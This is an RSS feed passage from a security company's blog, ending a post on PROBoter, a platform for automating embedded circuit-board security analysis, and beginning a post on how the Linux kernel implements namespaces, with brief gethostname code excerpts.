rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[1].&lt;/li>
&lt;/ul>
&lt;p>In this first part of the PROBoter blog post series the main idea
behind the platform and basic concepts of embedded system security analysis
are presented.&lt;/p>
&lt;h2 id="the-manual-process">The manual process&lt;/h2>
&lt;p>When doing a security analysis of an embedded system, a few tasks must always
be performed regardless of the system or device under test: First, the
device&amp;rsquo;s PCB(s) must be uncovered by removing the surrounding enclosure. Sometimes
it is even necessary to further disassemble the device by removing parts like heat
sinks or coolers. After that, each PCB is scanned for components which are relevant to
the system&amp;rsquo;s security. The analyst&amp;rsquo;s main focus is on active components.
This includes data storage components like persistent memory chips
that could contain sensitive data or intellectual property. Also, components that
expose an interface to interact with the system, like microcontrollers or processors,
are of interest. An attacker could abuse improperly configured interfaces to
trick the system into performing unintended actions or revealing internal secrets.&lt;/p>
&lt;p>Depending on the component package, i.e. the housing and pin layout, some pins of a
component may not be directly accessible. One possible solution to still interact
with them is to partially reverse engineer the electrical nets these components
are connected to by following traces on the PCB.
For example, security-relevant pins like the ones belonging to a debugging
interface are often exposed either via pin connectors
or test pads to allow for initial programming by the board manufacturer or
to perform initial functional tests at the end of the production line.&lt;/p>
&lt;p>After analyzing the PCB, a security analyst will try to interact with the system
under examination. This is done by connecting chip programmers, memory readers
or other analysis tools like the BusPirate [2] to the PCB or a single component.
Depending on the PCB&amp;rsquo;s components, multiple attack vectors are possible and can
now be examined by the analyst. Tests range from interacting with an exposed serial
connection to dumping memory contents for offline analysis.&lt;/p>
&lt;p>Sometimes the functionality of component pins is unknown to the analyst due to
a lack of publicly available documentation. In this case, it is up to the
analyst to reconstruct the missing information. For example, one method to identify
pin functionalities is to analyze their signals at runtime. Communication buses
often can easily be identified by comparing the recorded signals to
well-known patterns.&lt;/p>
&lt;p>The last step of each security analysis is to create a report for the customer.
This document should describe all the identified system vulnerabilities in
a clear and easy to understand way.&lt;/p>
&lt;h2 id="lets-automate-it">Let&amp;rsquo;s automate it&lt;/h2>
&lt;p>The main idea behind the PROBoter platform is to assist a security
analyst in all tasks mentioned above. Most of these tasks should
be performed by the PROBoter without any user interaction, therefore allowing
the analyst to focus on the most important task — the security testing
process itself. The first step while developing such an automation tool
was to design an automated workflow of the embedded system security analysis
based on the described manual process. The result is shown in the
figure below.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-01/pcb_re_process_huc90b08c373159339b4ef63ad94235cf4_36339_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-01/pcb_re_process_huc90b08c373159339b4ef63ad94235cf4_36339_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-01/pcb_re_process_huc90b08c373159339b4ef63ad94235cf4_36339_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-01/pcb_re_process.png"
width="2154"
height="1077"
alt="Figure 1: Workflow of an automated embedded system security analysis"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 1: Workflow of an automated embedded system security analysis&lt;/figcaption>
&lt;/figure>
&lt;p>A generated high-resolution image of the PCB under test forms the base for all
further automated analysis steps. During the first analysis step, the image data is
processed to locate components that might be relevant for a security
analyst, such as microcontrollers or memory chips. As this is basically an object detection
task, methods based on state of the art Neural Network object detectors
or classic Computer Vision algorithms could be utilized here.
For each component found, an identification step should be performed to get information
about the component&amp;rsquo;s functionality
and possible external interfaces. The chip marking and package can be used during
this step as key features to classify and identify a component.&lt;/p>
&lt;p>To allow automated probing, the precise location of component pins and other possible
probing locations like test pads have to be searched in the provided image data.
This step can be performed
simultaneously to the component localization and identification to reduce analysis time. If performed in parallel,
a mapping between the identified pins and the located components is necessary. It is also possible during this step to map
component functionality like debugging interface pins or data bus lines to identified pins. The
required pinout could for example be extracted from datasheets provided by
component manufacturers in an automated way.&lt;/p>
&lt;p>All the analysis described so far is only based on image data of the PCB&amp;rsquo;s top and bottom side.
For complex multi-layer PCBs, it is possible that important information like component
interconnections may be hidden in the inner layers and can therefore not be detected by
visual inspection. To fill this information gap, automated electrical probing in combination
with electrical resistance measurements can be used to reconstruct pin or component
connections not visible from the outside.&lt;/p>
&lt;p>By measuring electrical signal characteristics during runtime in the next step, it is
possible to identify communication buses in an automated way. This is especially useful
if the chip identification step in the early analysis stage failed. There already exist
some tools to identify common interfaces like JTAG.
One popular tool that falls into this category is the JTAGulator [3] developed by Joe Grand.
This tool can identify JTAG debugging interfaces automatically within a range of up to 24 pins
connected to the device. During a scan, the JTAGulator sends defined JTAG commands to a permutated
subset of the connected pins and listening on the other pins for a valid response. The tool can
also assist in (semi-)automated UART pin identification.&lt;/p>
&lt;p>With all the collected information about the PCB under test, automated security tests can then be
performed. Applicable tests depend highly on the type of components that are used
on a PCB. For example, an exposed serial interface might provide a login shell
which allows for direct interaction with the operating system running on the embedded system.
Data on communication interfaces like SPI or I&lt;sup>2&lt;/sup>C
can be passively sniffed or actively manipulated on-the-fly in a Man-in-the-Middle (MitM) setup.
Debug interfaces can be checked for protection mechanisms or other security measures to name
just a few.&lt;/p>
&lt;p>Finally, the results of all performed analysis steps can be automatically documented and stored
in a project-specific or central repository. When writing the final report, an analyst
therefore has to consult only a single data source to access all relevant information.
A single data repository also allows for easy collaboration as test results can be accessed
simultaneously by many analysts. Analysis results can also be easily shared between projects.
This enables building a common knowledge base which can reduce analysis time in future projects.&lt;/p>
&lt;p>All the tasks shown in &lt;em>Figure 1&lt;/em> marked with a blue color can be done in a (semi-)automated
way with the current version of the PROBoter platform. The framework focuses on tasks that
require automated electrical probing and visual PCB analysis as these are the most
repetitive and time-consuming ones. The analysis steps highlighted in green are currently
not implemented but could be integrated in the framework in the future.&lt;/p>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;p>After the introduction of the idea behind the project, the next post of this series, called &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, will
focus on the heart of the PROBoter — a hardware platform for automated electrical
probing and PCB image generation. The PROBoter features an auto-calibration routine which will
also be described in detail. &lt;br/>&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>[1] &lt;a href="https://github.com/schutzwerk/PROBoter">https://github.com/schutzwerk/PROBoter&lt;/a>&lt;/p>
&lt;p>[2] &lt;a href="http://dangerousprototypes.com/docs/Bus_Pirate">http://dangerousprototypes.com/docs/Bus_Pirate&lt;/a>&lt;/p>
&lt;p>[3] &lt;a href="http://www.grandideastudio.com/jtagulator/">http://www.grandideastudio.com/jtagulator/&lt;/a>&lt;/p>
&lt;p>[4] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>[5] PROBoter paper &lt;a href="https://doi.org/10.13154/294-8348">https://doi.org/10.13154/294-8348&lt;/a>&lt;/p>
&lt;p>&lt;br/>&lt;br/>
This work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.secforcars.de/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
We also want to thank &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">igus&lt;/span>
&lt;/a>&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for their support and providing hardware samples.
The project was created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisors Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation
with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hochschule&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kempten&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(examiners Prof. Dr. Elmar Böhler &amp;amp; Prof. Dr. rer. nat Stefan Frenz).&lt;/p></description></item><item><title>Linux Container Primitives: Namespaces Kernel View and Usage in Containerization</title><link>https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/</link><author>Philipp Schmied</author><pubDate>Thu, 15 Oct 2020 08:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>After discussing the various types of namespaces in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">previous&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the Linux Container Primitive series, this post describes the internals of namespaces in the Linux kernel. Also, practical use-cases for namespaces in terms of containerization are considered. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="namespaces-kernel-view">Namespaces Kernel View&lt;/h2>
&lt;p>This section covers aspects of the Linux kernel code regarding the implementation of namespaces. For this, various points, such as &lt;em>tasks&lt;/em>, &lt;em>credentials&lt;/em> and &lt;em>namespace proxies&lt;/em> are being taken into account. In the kernel source code, these are all represented by C structures [1]:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-v1_hud6cdcdca5f05d161df9f3622cd1d4fde_28454_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-v1_hud6cdcdca5f05d161df9f3622cd1d4fde_28454_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-v1_hud6cdcdca5f05d161df9f3622cd1d4fde_28454_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-v1.png"
width="1200"
height="328"
alt="Namespaces Structures"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Namespaces Structures&lt;/figcaption>
&lt;/figure>
&lt;p>From a kernel point of view, processes are often called tasks. The kernel keeps track of them by storing task information in a doubly linked list. This list is called task list and contains elements of the &lt;code>task_struct&lt;/code> type, as defined in &lt;code>linux/sched.h&lt;/code>. These structures act as task descriptors and contain all relevant information on a task, for example:&lt;/p>
&lt;ul>
&lt;li>The process identifier (&lt;code>pid_t pid&lt;/code>)&lt;/li>
&lt;li>Managed file descriptors (&lt;code>files_struct *files&lt;/code>)&lt;/li>
&lt;li>Pointer to the parent task (&lt;code>task_struct *parent&lt;/code>)&lt;/li>
&lt;li>Namespace proxy (&lt;code>nsproxy *nsproxy&lt;/code>)&lt;/li>
&lt;li>Task credentials (&lt;code>cred *cred&lt;/code>)&lt;/li>
&lt;/ul>
&lt;p>Using the credential information listed above, the Linux kernel manages the associated ownership information of certain objects, such as files, sockets and tasks. Upon requesting an action to be performed on an object, for example writing to a file, the kernel executes a security check in order to determine whether a user is allowed to perform an action in regard to the task&amp;rsquo;s associated credentials. The &lt;code>cred&lt;/code> structure is defined in &lt;code>linux/cred.h&lt;/code> and contains a &lt;code>user_namespace&lt;/code> pointer. This is required because credentials are relative to the specific user namespace that&amp;rsquo;s currently active.&lt;/p>
&lt;p>To associate a task to the namespace it currently runs in, the &lt;code>nsproxy&lt;/code> kernel structure contains a pointer to each per-process namespace. The PID and user namespace are an exception: The &lt;code>pid_ns_for_children&lt;/code> pointer is the PID namespace the &lt;em>children&lt;/em> of the process will use. The currently active PID namespace for a task can be found in the &lt;code>task_active_pid_ns&lt;/code> pointer. Moreover, the user namespace is a part of the &lt;code>cred&lt;/code> structure as seen above.&lt;/p>
&lt;p>For an example of the linked kernel structures, consider the association of a task to a specific UTS namespace in the figure [1] below:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-uts_hu138bb02a3c7bef84b290d021b644b6a9_66042_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-uts_hu138bb02a3c7bef84b290d021b644b6a9_66042_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-uts_hu138bb02a3c7bef84b290d021b644b6a9_66042_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel/ns-krnl-uts.png"
width="1812"
height="367"
alt="Namespaces UTS Structures"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Namespaces UTS Structures&lt;/figcaption>
&lt;/figure>
&lt;p>This implies that other parts of the kernel code also have to be aware of namespaces, e.g. when returning a hostname upon accessing this information from a task. This is implemented by modifying the original code of &lt;code>gethostname&lt;/code> in order to read the hostname of the current namespace and not from the system&amp;rsquo;s hostname. The namespace unaware version of this function is listed below:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">[...]
i = &lt;span style="color:#3677a9">1&lt;/span> + strlen(
system_utsname.nodename);
[...]
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (copy_to_user(
name,
system_utsname.nodename,
i))
[...]
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The modified version for namespaces follows below:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-c" data-lang="c">
[...]
u = utsname();
i = &lt;span style="color:#3677a9">1&lt;/span> + strlen(u-&amp;gt;nodename);
[...]
memcpy(tmp, u-&amp;gt;nodename, i);
[...]
&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (copy_to_user(name, tmp,
i)
)
[...]
